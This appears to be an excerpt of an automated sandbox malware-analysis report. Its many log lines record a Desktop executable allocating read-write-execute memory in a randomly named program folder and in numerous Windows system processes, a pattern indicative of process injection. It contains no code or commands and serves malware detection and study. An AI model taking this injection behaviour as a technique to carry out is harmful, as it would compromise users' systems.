Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2900000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 720000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1470000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1480000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2870000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 21D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2220000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: C30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2EE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BA0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: A70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2600000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 4F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1230000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: AE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 3C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 990000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: AC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: F20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: BE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CB0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 960000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 110000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 130000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: AC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 1F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 260000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 3D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 9A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: F40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: BF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CC0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: EF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 970000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: 90000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 120000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 140000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: AD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 200000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 270000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 3E0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 9B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: AE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: F50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CD0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 8F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 980000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: A0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 40000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 130000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 150000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C70000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: AE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A20000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 210000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 280000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: A10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\fontdrvhost.exe base: B10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dwm.exe base: 50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\sihost.exe base: 3F0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 9C0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ctfmon.exe base: AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\explorer.exe base: F60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: C10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: CE0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 900000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: A00000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 990000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\smartscreen.exe base: B0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 50000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 140000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 160000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: C80000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2D0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: AF0000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\conhost.exe base: A30000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\dllhost.exe base: 220000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\System32\svchost.exe base: 290000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\a4#Uff09.exe Memory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: DF0000 protect: page execute and read and write Jump to behavior
